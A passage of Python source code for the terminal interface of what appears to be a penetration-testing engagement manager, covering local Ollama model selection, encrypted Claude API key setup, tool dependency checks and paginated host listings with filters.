                        click.echo(click.style(f"  ✓ Set {selected_model} as default model!", fg='green'))
                        click.echo()
                        click.pause()
                        return

                    except subprocess.CalledProcessError as e:
                        click.echo()
                        click.echo(click.style(f"  ✗ Failed to download model: {e}", fg='red'))
                        click.echo()
                        click.echo("  You can try manually:")
                        click.echo(f"     • Run: ollama pull {selected_model}")
                        click.echo()
                        click.pause()
                        return
                    except FileNotFoundError:
                        click.echo()
                        click.echo(click.style("  ✗ Ollama command not found!", fg='red'))
                        click.echo()
                        click.pause()
                        return
                else:
                    click.echo()
                    click.echo(click.style("  ✗ Invalid selection.", fg='red'))
                    click.pause()
                    return
            else:
                click.echo()
                click.echo(click.style("  ✗ Invalid input.", fg='red'))
                click.pause()
                return

        except (KeyboardInterrupt, EOFError):
            click.echo()
            click.echo("  Cancelled.")
            click.pause()
            return

    click.echo(click.style(f"  ✓ Connected! Found {len(installed_models)} installed model(s)", fg='green'))
    click.echo()
    click.echo("  INSTALLED MODELS")
    click.echo("  " + "─" * 66)

    # Display installed models with their requirements
    for idx, model_name in enumerate(installed_models, 1):
        # Try to match model name to requirements (handle version tags)
        base_model = model_name.split(':')[0]
        full_model = model_name

        requirements = MODEL_REQUIREMENTS.get(full_model) or MODEL_REQUIREMENTS.get(base_model)

        if requirements:
            click.echo(f"  [{idx}] {click.style(model_name, fg='cyan', bold=True)}")
            click.echo(f"      {requirements['description']}")
            click.echo(f"      RAM: {requirements['ram']} | Disk: {requirements['disk']} | GPU: {requirements['gpu']}")
        else:
            click.echo(f"  [{idx}] {click.style(model_name, fg='cyan', bold=True)}")
            click.echo(f"      (No resource info available)")

        if model_name == current_model:
            click.echo(f"      {click.style('← Currently selected', fg='green')}")
        click.echo()

    click.echo("  " + "─" * 66)
    click.echo()
    click.echo(f"  [d] {click.style('Download more models', fg='yellow')}")
    click.echo()
    click.echo("  Enter model number to select, [d] to download more, or press Enter to cancel")

    try:
        choice = input("  Choice: ").strip()

        if not choice:
            click.echo()
            click.echo("  No changes made.")
            click.pause()
            return

        if choice.lower() == 'd':
            # Download more models
            click.echo()
            click.echo(click.style("  📦 DOWNLOAD MORE MODELS", fg='cyan', bold=True))
            click.echo()

            # Define recommended models to offer for download
            recommended_models = [
                'llama3.1:8b',
                'llama3.2:1b',
                'llama3.2:3b',
                'mistral',
                'phi',
                'codellama'
            ]

            # Filter out already installed models
            available_models = [m for m in recommended_models if m not in installed_models]

            if not available_models:
                click.echo(click.style("  ℹ️  All recommended models are already installed!", fg='green'))
                click.echo()
                click.echo("  You can manually install other models:")
                click.echo("     • Visit https://ollama.ai/library")
                click.echo("     • Run: ollama pull <model-name>")
                click.echo()
                click.pause()
                return

            # Display available models
            click.echo("  RECOMMENDED MODELS")
            click.echo("  " + "─" * 66)
            click.echo()

            for idx, model_name in enumerate(available_models, 1):
                base_model = model_name.split(':')[0]
                requirements = MODEL_REQUIREMENTS.get(model_name) or MODEL_REQUIREMENTS.get(base_model)

                if requirements:
                    click.echo(f"  [{idx}] {click.style(model_name, fg='cyan', bold=True)}")
                    click.echo(f"      {requirements['description']}")
                    click.echo(f"      RAM: {requirements['ram']} | Disk: {requirements['disk']} | GPU: {requirements['gpu']}")
                else:
                    click.echo(f"  [{idx}] {click.style(model_name, fg='cyan', bold=True)}")
                click.echo()

            click.echo("  " + "─" * 66)
            click.echo()
            click.echo("  Enter model number to download, or press Enter to cancel")

            try:
                download_choice = input("  Choice: ").strip()

                if not download_choice:
                    click.echo()
                    click.echo("  Cancelled.")
                    click.pause()
                    return

                if download_choice.isdigit():
                    idx = int(download_choice)
                    if 1 <= idx <= len(available_models):
                        selected_model = available_models[idx - 1]

                        click.echo()
                        click.echo(f"  Downloading {click.style(selected_model, fg='cyan', bold=True)}...")
                        click.echo()

                        # Run ollama pull command
                        import subprocess
                        try:
                            result = subprocess.run(
                                ['ollama', 'pull', selected_model],
                                check=True,
                                text=True
                            )

                            click.echo()
                            click.echo(click.style(f"  ✓ Successfully downloaded {selected_model}!", fg='green'))
                            click.echo()

                            # Ask if user wants to set as default
                            set_default = input(f"  Set {selected_model} as default model? (y/n): ").strip().lower()
                            if set_default == 'y':
                                cfg.setdefault('settings', {})['ollama_model'] = selected_model
                                write_config(cfg)
                                click.echo()
                                click.echo(click.style(f"  ✓ Set {selected_model} as default model!", fg='green'))

                            click.echo()
                            click.pause()

                            # Recursively call the function to refresh the model list
                            return _manage_ollama_settings()

                        except subprocess.CalledProcessError as e:
                            click.echo()
                            click.echo(click.style(f"  ✗ Failed to download model: {e}", fg='red'))
                            click.echo()
                            click.echo("  You can try manually:")
                            click.echo(f"     • Run: ollama pull {selected_model}")
                            click.echo()
                            click.pause()
                            return
                        except FileNotFoundError:
                            click.echo()
                            click.echo(click.style("  ✗ Ollama command not found!", fg='red'))
                            click.echo()
                            click.pause()
                            return
                    else:
                        click.echo()
                        click.echo(click.style("  ✗ Invalid selection.", fg='red'))
                        click.pause()
                        return
                else:
                    click.echo()
                    click.echo(click.style("  ✗ Invalid input.", fg='red'))
                    click.pause()
                    return

            except (KeyboardInterrupt, EOFError):
                click.echo()
                click.echo("  Cancelled.")
                click.pause()
                return

        if choice.isdigit():
            idx = int(choice)
            if 1 <= idx <= len(installed_models):
                selected_model = installed_models[idx - 1]

                # Get requirements for display
                base_model = selected_model.split(':')[0]
                requirements = MODEL_REQUIREMENTS.get(selected_model) or MODEL_REQUIREMENTS.get(base_model)

                click.echo()
                click.echo(f"  Selected: {click.style(selected_model, fg='cyan', bold=True)}")
                if requirements:
                    click.echo(f"  {requirements['description']}")
                    click.echo(f"  Requirements: RAM {requirements['ram']}, Disk {requirements['disk']}, GPU {requirements['gpu']}")

                # Save to config
                cfg.setdefault('settings', {})['ollama_model'] = selected_model
                write_config(cfg)

                click.echo()
                click.echo(click.style(f"  ✓ Model '{selected_model}' saved as default!", fg='green', bold=True))
                click.echo()
                click.echo(click.style("  ℹ️  The new model will be used for future AI recommendations.", fg='cyan'))
                click.echo(click.style("  ℹ️  Any in-progress AI tasks will continue with the previous model.", fg='cyan'))
                click.echo()
                click.pause()
            else:
                click.echo()
                click.echo(click.style("  ✗ Invalid selection.", fg='red'))
                click.pause()
        else:
            click.echo()
            click.echo(click.style("  ✗ Invalid input.", fg='red'))
            click.pause()

    except (KeyboardInterrupt, EOFError):
        click.echo()
        click.echo("  Cancelled.")
        click.pause()
        return


def _manage_claude_settings():
    """Manage Claude AI API settings."""
    from souleyez.ai.claude_provider import (
        ClaudeProvider, set_claude_api_key, clear_claude_api_key, ANTHROPIC_AVAILABLE
    )
    from souleyez.storage.crypto import get_crypto_manager

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("CLAUDE API SETTINGS")

        # Get current status
        provider = ClaudeProvider()
        status = provider.get_status()
        crypto = get_crypto_manager()

        # Display status
        click.echo("  📊 CURRENT STATUS")
        click.echo("  " + "─" * 60)

        # Package installed
        if ANTHROPIC_AVAILABLE:
            pkg_status = click.style("✓ Installed", fg='green')
        else:
            pkg_status = click.style("✗ Not installed", fg='red')
        click.echo(f"    Anthropic Package: {pkg_status}")

        # API Key status
        if status.get('api_key_configured'):
            key_status = click.style("✓ Configured (encrypted)", fg='green')
        else:
            key_status = click.style("✗ Not configured", fg='yellow')
        click.echo(f"    API Key:           {key_status}")

        # Model
        click.echo(f"    Model:             {status.get('model', 'claude-sonnet-4-20250514')}")

        # Connection status
        if status.get('connected'):
            conn_status = click.style("✓ Connected", fg='green')
        elif status.get('error'):
            conn_status = click.style(f"✗ {status['error']}", fg='red')
        else:
            conn_status = click.style("○ Not tested", fg='yellow')
        click.echo(f"    Connection:        {conn_status}")

        # Vault status (needed for encryption)
        if crypto.is_unlocked():
            vault_status = click.style("✓ Unlocked", fg='green')
        else:
            vault_status = click.style("⚠ Locked - unlock to configure", fg='yellow')
        click.echo(f"    Vault Status:      {vault_status}")

        click.echo()
        click.echo("  " + "─" * 60)

        # Privacy notice
        click.echo()
        click.echo(click.style("  ⚠ PRIVACY NOTICE:", fg='yellow', bold=True))
        click.echo("    When using Claude, engagement data (findings, hosts, services)")
        click.echo("    will be sent to Anthropic's servers for AI processing.")
        click.echo()

        # Options
        click.echo("  ⚙️  OPTIONS")
        click.echo("  " + "─" * 60)
        click.echo("    [1] Set API Key       - Enter your Claude API key")
        click.echo("    [2] Test Connection   - Verify API key works")
        click.echo("    [3] Clear API Key     - Remove stored API key")
        click.echo("    [4] Get API Key       - Instructions to obtain key")
        if not ANTHROPIC_AVAILABLE:
            click.echo("    [5] Install Package   - Install anthropic Python package")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "1":
                _set_claude_api_key(crypto)
            elif choice == "2":
                _test_claude_connection()
            elif choice == "3":
                _clear_claude_api_key()
            elif choice == "4":
                _show_claude_api_instructions()
            elif choice == "5" and not ANTHROPIC_AVAILABLE:
                _install_anthropic_package()
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _set_claude_api_key(crypto):
    """Set Claude API key with encryption."""
    from souleyez.ai.claude_provider import set_claude_api_key

    click.echo()

    # Check vault is unlocked
    if not crypto.is_unlocked():
        click.echo(click.style("  ✗ Vault must be unlocked to store API key!", fg='red'))
        click.echo("    Go to Settings → [1] Credential Vault to unlock.")
        click.pause()
        return

    click.echo("  Enter your Claude API key (starts with 'sk-ant-'):")
    click.echo("  " + click.style("(Input is hidden for security)", fg='bright_black'))
    click.echo()

    try:
        api_key = click.prompt("  API Key", hide_input=True, show_default=False)

        if not api_key:
            click.echo(click.style("\n  ✗ No API key entered.", fg='red'))
            click.pause()
            return

        # Basic validation
        if not api_key.startswith('sk-ant-'):
            click.echo(click.style("\n  ⚠ Warning: Key doesn't start with 'sk-ant-'. It may be invalid.", fg='yellow'))
            confirm = click.prompt("  Continue anyway?", type=str, default="n")
            if confirm.lower() not in ['y', 'yes']:
                click.echo("\n  Cancelled.")
                click.pause()
                return

        # Store encrypted
        if set_claude_api_key(api_key):
            click.echo(click.style("\n  ✓ API key stored successfully (encrypted)!", fg='green', bold=True))
        else:
            click.echo(click.style("\n  ✗ Failed to store API key.", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError):
        click.echo("\n  Cancelled.")
        click.pause()


def _test_claude_connection():
    """Test Claude API connection."""
    from souleyez.ai.claude_provider import ClaudeProvider

    click.echo()
    click.echo("  Testing Claude API connection...")

    provider = ClaudeProvider()
    status = provider.get_status()

    if not status.get('api_key_configured'):
        click.echo(click.style("\n  ✗ No API key configured. Set one first.", fg='red'))
        click.pause()
        return

    click.echo("  Sending test request...")

    try:
        # Try a simple generation
        result = provider.generate(
            prompt="Respond with exactly: 'Claude API connection successful'",
            max_tokens=50,
            temperature=0
        )

        if result:
            click.echo(click.style(f"\n  ✓ Connection successful!", fg='green', bold=True))
            click.echo(f"    Response: {result[:100]}")
        else:
            click.echo(click.style("\n  ✗ No response from API.", fg='red'))
            if status.get('error'):
                click.echo(f"    Error: {status['error']}")

    except Exception as e:
        click.echo(click.style(f"\n  ✗ Connection failed: {e}", fg='red'))

    click.pause()


def _clear_claude_api_key():
    """Clear stored Claude API key."""
    from souleyez.ai.claude_provider import clear_claude_api_key

    click.echo()
    confirm = click.prompt("  Are you sure you want to remove the API key?", type=str, default="n")

    if confirm.lower() in ['y', 'yes']:
        if clear_claude_api_key():
            click.echo(click.style("\n  ✓ API key removed.", fg='green'))
        else:
            click.echo(click.style("\n  ✗ Failed to remove API key.", fg='red'))
    else:
        click.echo("\n  Cancelled.")

    click.pause()


def _show_claude_api_instructions():
    """Show instructions for obtaining Claude API key."""
    click.echo()
    click.echo("  " + "=" * 60)
    click.echo(click.style("  HOW TO GET YOUR CLAUDE API KEY", fg='cyan', bold=True))
    click.echo("  " + "=" * 60)
    click.echo()
    click.echo("  1. Go to: " + click.style("https://console.anthropic.com/", fg='bright_blue', underline=True))
    click.echo()
    click.echo("  2. Sign up or log in to your Anthropic account")
    click.echo()
    click.echo("  3. Navigate to 'API Keys' in the left sidebar")
    click.echo()
    click.echo("  4. Click 'Create Key' and give it a name")
    click.echo()
    click.echo("  5. Copy the key (starts with 'sk-ant-api03-...')")
    click.echo()
    click.echo("  6. Return here and use [1] Set API Key to save it")
    click.echo()
    click.echo("  " + "─" * 60)
    click.echo(click.style("  💰 PRICING:", fg='yellow'))
    click.echo("    Claude API uses pay-per-use pricing.")
    click.echo("    Typical report generation: ~$0.05-0.15 per report")
    click.echo("    Check current pricing at: console.anthropic.com/settings/plans")
    click.echo()
    click.echo("  " + "─" * 60)
    click.echo(click.style("  🔒 SECURITY:", fg='green'))
    click.echo("    Your API key is encrypted using your vault password")
    click.echo("    and stored locally. It never leaves your system except")
    click.echo("    when making API calls to Anthropic.")
    click.echo()
    click.pause()


def _install_anthropic_package():
    """Install the anthropic Python package."""
    import subprocess
    import sys

    click.echo()
    click.echo("  " + "=" * 60)
    click.echo(click.style("  INSTALL ANTHROPIC PACKAGE", fg='cyan', bold=True))
    click.echo("  " + "=" * 60)
    click.echo()
    click.echo("  This will install the 'anthropic' Python package")
    click.echo("  using pip. This is required to use Claude API.")
    click.echo()

    confirm = click.prompt("  Proceed with installation?", type=str, default="y")

    if confirm.lower() not in ['y', 'yes']:
        click.echo("\n  Cancelled.")
        click.pause()
        return

    click.echo()
    click.echo("  Installing anthropic package...")
    click.echo("  " + "─" * 60)

    try:
        # Use the same Python interpreter that's running this script
        result = subprocess.run(
            [sys.executable, '-m', 'pip', 'install', 'anthropic'],
            capture_output=True,
            text=True,
            timeout=120
        )

        if result.returncode == 0:
            click.echo(click.style("\n  ✓ Package installed successfully!", fg='green', bold=True))
            click.echo()
            click.echo(click.style("  ⚠ IMPORTANT:", fg='yellow', bold=True))
            click.echo("    You need to restart SoulEyez for the change to take effect.")
            click.echo("    Please exit and run 'souleyez' again.")
        else:
            click.echo(click.style("\n  ✗ Installation failed!", fg='red'))
            click.echo()
            if result.stderr:
                # Show last few lines of error
                error_lines = result.stderr.strip().split('\n')[-5:]
                for line in error_lines:
                    click.echo(f"    {line}")
            click.echo()
            click.echo("  Try manually: pip install anthropic")

    except subprocess.TimeoutExpired:
        click.echo(click.style("\n  ✗ Installation timed out!", fg='red'))
        click.echo("  Try manually: pip install anthropic")
    except Exception as e:
        click.echo(click.style(f"\n  ✗ Installation error: {e}", fg='red'))
        click.echo("  Try manually: pip install anthropic")

    click.pause()


def _check_tool_dependencies():
    """Check and display external tool dependencies with install option."""
    from souleyez.utils.tool_checker import get_tools_by_category, get_category_name, get_tool_stats, get_missing_tools

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("EXTERNAL TOOL DEPENDENCIES")

    # Get stats
    installed_count, total_count = get_tool_stats()
    missing_count = total_count - installed_count

    if installed_count == total_count:
        status_msg = click.style(f"✓ All {total_count} tools installed", fg='green', bold=True)
    elif installed_count > 0:
        status_msg = click.style(f"⚠ {installed_count}/{total_count} tools installed", fg='yellow', bold=True)
    else:
        status_msg = click.style(f"✗ No tools installed", fg='red', bold=True)

    click.echo(f"  Status: {status_msg}")
    click.echo()

    # Show tools by category
    tools_by_cat = get_tools_by_category()

    for category, tools in tools_by_cat.items():
        category_name = get_category_name(category)
        click.echo(click.style(f"  {category_name}", fg='cyan', bold=True))
        click.echo("  " + "─" * 70)

        for tool in tools:
            if tool['installed']:
                status = click.style("✓", fg='green', bold=True)
            else:
                status = click.style("✗", fg='red', bold=True)

            name = tool['name'].ljust(20)
            desc = tool['description'][:45]
            click.echo(f"  {status} {name} - {desc}")

        click.echo()

    # Offer to install missing tools
    if missing_count > 0:
        click.echo()
        click.echo(click.style(f"  {missing_count} tools are missing.", fg='yellow'))
        click.echo()
        click.echo("  Options:")
        click.echo("    [1] Install all missing tools automatically")
        click.echo("    [2] View install commands only")
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q").strip().lower()

            if choice == '1':
                click.echo()
                click.echo(click.style("  Starting automated installation...", fg='cyan', bold=True))
                click.echo()
                from souleyez.ui.tool_setup import run_tool_setup
                run_tool_setup(install_all=True)
            elif choice == '2':
                click.echo()
                click.echo(click.style("  Install commands for missing tools:", fg='yellow', bold=True))
                click.echo()
                for tool in get_missing_tools():
                    click.echo(f"  {tool['name']}:")
                    click.echo(f"    {click.style(tool['install'], fg='cyan')}")
                    click.echo()
                click.pause()
        except (KeyboardInterrupt, EOFError, click.Abort):
            pass
    else:
        click.echo()
        click.pause()


def manage_hosts_menu():
    """Host management menu wrapper."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']
    view_hosts(engagement_id)


def manage_services_menu():
    """Service management menu wrapper."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']
    view_services(engagement_id)


def manage_findings_menu():
    """Findings management menu wrapper."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']
    view_findings(engagement_id)


def manage_credentials_menu():
    """Credential management menu wrapper."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']

    # Show credentials management with option to test
    while True:
        view_credentials(engagement_id)
        # Check if user wants to test credentials
        break


def view_additional_data_menu():
    """Additional data viewing menu for OSINT and Web Paths."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']

    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo("ADDITIONAL DATA")
        click.echo("=" * 70 + "\n")

        click.echo("  1. Web Paths        - View and manage discovered web paths")
        click.echo("  2. SMB Shares       - View and manage enumerated SMB shares")
        click.echo("  3. SQLMap Data      - View SQL injection discoveries and databases")
        click.echo()
        click.echo("  [q] ← Back")
        click.echo()

        try:
            choice_input = click.prompt("Select data type", type=str, default='q').strip()

            if choice_input == 'q':
                return
            try:
                choice = int(choice_input)
            except ValueError:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()
                continue

            if choice == 1:
                view_web_paths(engagement_id)
            elif choice == 2:
                view_smb_shares(engagement_id)
            elif choice == 3:
                view_sqlmap_data(engagement_id)
            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return



def view_additional_data_menu():
    """Additional data viewing menu for OSINT and Web Paths."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']

    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo("ADDITIONAL DATA")
        click.echo("=" * 70 + "\n")

        click.echo("  1. OSINT Data       - View and manage OSINT reconnaissance data")
        click.echo("  2. Web Paths        - View and manage discovered web paths")
        click.echo("  3. SMB Shares       - View and manage enumerated SMB shares")
        click.echo("  4. SQLMap Data      - View SQL injection discoveries and databases")
        click.echo()
        click.echo("  [q] ← Back")
        click.echo()

        try:
            choice_input = click.prompt("Select data type", type=str, default='q').strip()

            if choice_input == 'q':
                return
            try:
                choice = int(choice_input)
            except ValueError:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()
                continue

            if choice == 1:
                view_osint(engagement_id)
            elif choice == 2:
                view_web_paths(engagement_id)
            elif choice == 3:
                view_smb_shares(engagement_id)
            elif choice == 4:
                view_sqlmap_data(engagement_id)
            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def view_hosts(engagement_id: int):
    """Display hosts with search, filtering, and tagging capabilities."""
    hm = HostManager()

    # Active filters
    filters = {
        'search': None,
        'os_name': None,
        'status': 'up',  # Default to only show live hosts
        'tags': None
    }

    # Pagination
    PAGE_SIZE = 20
    current_page = 1
    view_all = False

    # Selected hosts for bulk operations
    selected_hosts = set()

    # Tutorial state
    from souleyez.ui.tutorial_state import get_tutorial_state
    tutorial_state = get_tutorial_state()

    while True:
        DesignSystem.clear_screen()

        # Header
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" HOST MANAGEMENT ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Tutorial hint for hosts view - popup style
        hint = tutorial_state.get_hint_for_hosts()
        if hint:
            iw = 85  # inner width (wide enough for hint text)
            def pline(text="", styled=None):
                if styled is None: styled = text
                return click.style("  ║", fg='yellow', bold=True) + "  " + styled + " " * (iw - 2 - len(text)) + click.style("║", fg='yellow', bold=True)
            click.echo()
            click.echo(click.style("  ╔" + "═" * iw + "╗", fg='yellow', bold=True))
            hdr = " TUTORIAL "
            hpad = (iw - len(hdr)) // 2
            click.echo(click.style("  ║", fg='yellow', bold=True) + click.style(" " * hpad + hdr + " " * (iw - hpad - len(hdr)), fg='black', bg='yellow', bold=True) + click.style("║", fg='yellow', bold=True))
            click.echo(click.style("  ╠" + "═" * iw + "╣", fg='yellow', bold=True))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            title = hint.get('title', '')
            click.echo(pline(title, click.style(title, fg='cyan', bold=True)))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            for line in hint.get('hint', '').split('\n'):
                if len(line) > iw - 4: line = line[:iw-7] + "..."
                click.echo(pline(line))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            action = hint.get('action', '')
            if action:
                atxt = f"> {action}"
                click.echo(pline(atxt, click.style(atxt, fg='green', bold=True)))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            click.echo(click.style("  ╚" + "═" * iw + "╝", fg='yellow', bold=True))
            click.echo()

        # Show active filters
        active_filters = []
        if filters['search']:
            active_filters.append(f"search: {filters['search']}")
        if filters['os_name']:
            active_filters.append(f"OS: {filters['os_name']}")
        if filters['status']:
            active_filters.append(f"status: {filters['status']}")
        if filters['tags']:
            active_filters.append(f"tag: {filters['tags']}")

        if active_filters:
            click.echo("  " + click.style("Active Filters: ", bold=True, fg='yellow') + ", ".join(active_filters))
            click.echo()

        # Get hosts with filters
        hosts = hm.search_hosts(
            engagement_id,
            search=filters['search'],
            os_name=filters['os_name'],
            status=filters['status'],
            tags=filters['tags']
        )

        # Pagination calculations
        total_hosts = len(hosts) if hosts else 0
        total_pages = max(1, (total_hosts + PAGE_SIZE - 1) // PAGE_SIZE) if hosts else 1
        current_page = min(current_page, total_pages)

        if not hosts:
            click.echo("  " + click.style("No hosts found with current filters.", fg='yellow'))
        else:
            # Summary stats
            total = len(hosts)
            active = len([h for h in hosts if h.get('status') == 'up'])
            click.echo(f"  {click.style('Total:', bold=True)} {total} hosts  |  {click.style('Active:', bold=True, fg='green')} {active}")
            click.echo()
            
            # Use Rich table for better formatting
            from rich.console import Console
            from rich.table import Table
            
            console = Console(width=width - 4)
            table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
            
            table.add_column("○", width=5, justify="center", no_wrap=True)
            table.add_column("ID", width=8, justify="right", no_wrap=True)
            table.add_column("IP Address", width=20, no_wrap=True)
            table.add_column("Hostname", no_wrap=False)
            table.add_column("Operating System", no_wrap=False)
            table.add_column("Services", width=12, justify="center", no_wrap=True)

            if view_all:
                page_hosts = hosts
            else:
                start_idx = (current_page - 1) * PAGE_SIZE
                end_idx = start_idx + PAGE_SIZE
                page_hosts = hosts[start_idx:end_idx]

            for host in page_hosts:
                hid = host.get('id', '?')
                selected = '●' if hid in selected_hosts else '○'
                ip = (host.get('ip_address', 'N/A') or 'N/A')
                hostname = (host.get('hostname') or '-')
                os_info = (host.get('os_name') or '-')
                
                # Get service count
                services = hm.get_host_services(hid)
                svc_count = str(len(services)) if services else "0"
                
                # Color code by status
                status = host.get('status', 'unknown')
                if status == 'up':
                    ip_display = f"[green]●[/green] {ip}"
                elif status == 'down':
                    ip_display = f"[red]●[/red] {ip}"
                else:
                    ip_display = f"[yellow]●[/yellow] {ip}"

                table.add_row(
                    selected,
                    str(hid),
                    ip_display,
                    hostname,
                    os_info,
                    svc_count
                )

            console.print(table)
            click.echo()

            if view_all:
                click.echo(f"  Showing all {total_hosts} items")
            else:
                click.echo(f"  Page {current_page}/{total_pages}")

            if selected_hosts:
                click.echo(f"  {click.style(f'✓ Selected: {len(selected_hosts)} host(s)', fg='cyan', bold=True)}")

        # TIP line and menu (findings-style)
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if not view_all and total_pages > 1:
            click.echo("  n/p: Next/Previous page")
        click.echo()

        click.echo("─" * width)
        click.echo()
        click.echo("  [#] View host details")
        click.echo("  [e] Edit Host")
        if view_all:
            click.echo("  [t] Toggle - Show paginated view")
        else:
            click.echo("  [t] Toggle - Toggle pagination")
        click.echo("  [s] Status - Filter by up/down status")
        click.echo("  [g] Tag - Filter by assigned tags")
        click.echo("  [/] Search - Search by IP/hostname")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n' and not view_all and current_page < total_pages:
                current_page += 1
            elif choice == 'p' and not view_all and current_page > 1:
                current_page -= 1
            elif choice == 't':
                view_all = not view_all
                current_page = 1
            elif choice == 'e':
                try:
                    host_id = click.prompt("  Enter host ID", type=int)
                    _edit_host_details(host_id, engagement_id, hm)
                except (ValueError, KeyboardInterrupt, click.Abort):
                    pass
            elif choice == 's':
                filters['status'] = _hosts_filter_status()
                current_page = 1
            elif choice == 'g':
                filters['tags'] = _hosts_filter_by_tag(engagement_id, hm)
                current_page = 1
            elif choice == '/':
                filters['search'] = _hosts_filter_search()
                current_page = 1
            elif choice.isdigit():
                # Direct number entry - view host by ID
                host_id = int(choice)
                _view_host_by_id(host_id, engagement_id, hm)
            elif choice == 'i':
                _hosts_select(hosts, selected_hosts, hm)
                if selected_hosts:
                    _hosts_bulk_action_menu(hosts, selected_hosts, engagement_id, hm)
            elif choice == 'c':
                filters = {k: None if k != 'status' else 'up' for k in filters}
                current_page = 1
                click.echo(click.style("  ✓ All filters cleared", fg='green'))
                time.sleep(0.5)

        except (KeyboardInterrupt, click.Abort):
            return


def _hosts_filter_search():
    """Prompt for search term."""
    try:
        search = click.prompt("Search term (IP/Hostname, or press Enter to clear)", default="", show_default=False)
        return search if search else None
    except (KeyboardInterrupt, click.Abort):
        return None


def _hosts_filter_status():
    """Prompt for status filter."""
    click.echo("\nSelect status:")
    click.echo("  [1] Up (live)")
    click.echo("  [2] Down")
    click.echo("  [3] All")
    click.echo("  [q] Clear filter")

    try:
        choice = click.prompt("Status", type=int, default=1)
        if choice == 1:
            return 'up'
        elif choice == 2:
            return 'down'
        elif choice == 3:
            return None
        return 'up'  # default
    except (KeyboardInterrupt, click.Abort):
        return 'up'


def _hosts_filter_by_tag(engagement_id: int, hm: 'HostManager'):
    """Prompt for tag filter."""
    tags = hm.get_all_tags(engagement_id)

    if not tags:
        click.echo(click.style("No tags available", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect tag:")
    for idx, tag in enumerate(tags, 1):
        click.echo(f"  [{idx}] {tag}")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Tag", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if choice > 0 and choice <= len(tags):
                return tags[choice - 1]
        except ValueError:
            pass
        return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _hosts_select(hosts: list, selected_hosts: set, hm=None):
    """Select hosts using interactive row selector."""
    from souleyez.ui.interactive_selector import interactive_select

    if not hosts:
        click.echo(click.style("  No hosts to select.", fg='yellow'))
        click.pause()
        return

    # Pre-fetch service counts for all hosts if HostManager available
    host_services = {}
    if hm:
        for host in hosts:
            hid = host.get('id')
            services = hm.get_host_services(hid)
            host_services[hid] = len(services) if services else 0

    # Define columns for the host selector
    columns = [
        {'name': 'ID', 'width': 8, 'key': 'id', 'justify': 'right'},
        {'name': 'IP Address', 'width': 18, 'key': 'ip_address'},
        {'name': 'Hostname', 'key': 'hostname'},
        {'name': 'OS', 'key': 'os_name'},
        {'name': 'Services', 'width': 10, 'key': 'services', 'justify': 'right'},
    ]

    def format_cell(item: dict, key: str) -> str:
        """Format cell values for display."""
        value = item.get(key)
        if key == 'services':
            hid = item.get('id')
            count = host_services.get(hid, 0)
            if count > 0:
                return f'[green]{count}[/green]'
            return '0'
        if value is None:
            return '-'
        return str(value)

    interactive_select(
        items=hosts,
        columns=columns,
        selected_ids=selected_hosts,
        get_id=lambda h: h.get('id'),
        title='SELECT HOSTS',
        format_cell=format_cell
    )


def _hosts_bulk_action_menu(hosts: list, selected_ids: set, engagement_id: int, hm):
    """Show inline action menu for selected hosts."""
    # Check if user can delete hosts
    from souleyez.auth import get_current_user
    from souleyez.auth.permissions import Permission, PermissionChecker
    user = get_current_user()
    can_delete = False
    if user:
        checker = PermissionChecker(user.role, user.tier)
        can_delete = checker.has_permission(Permission.HOST_DELETE)

    click.echo()
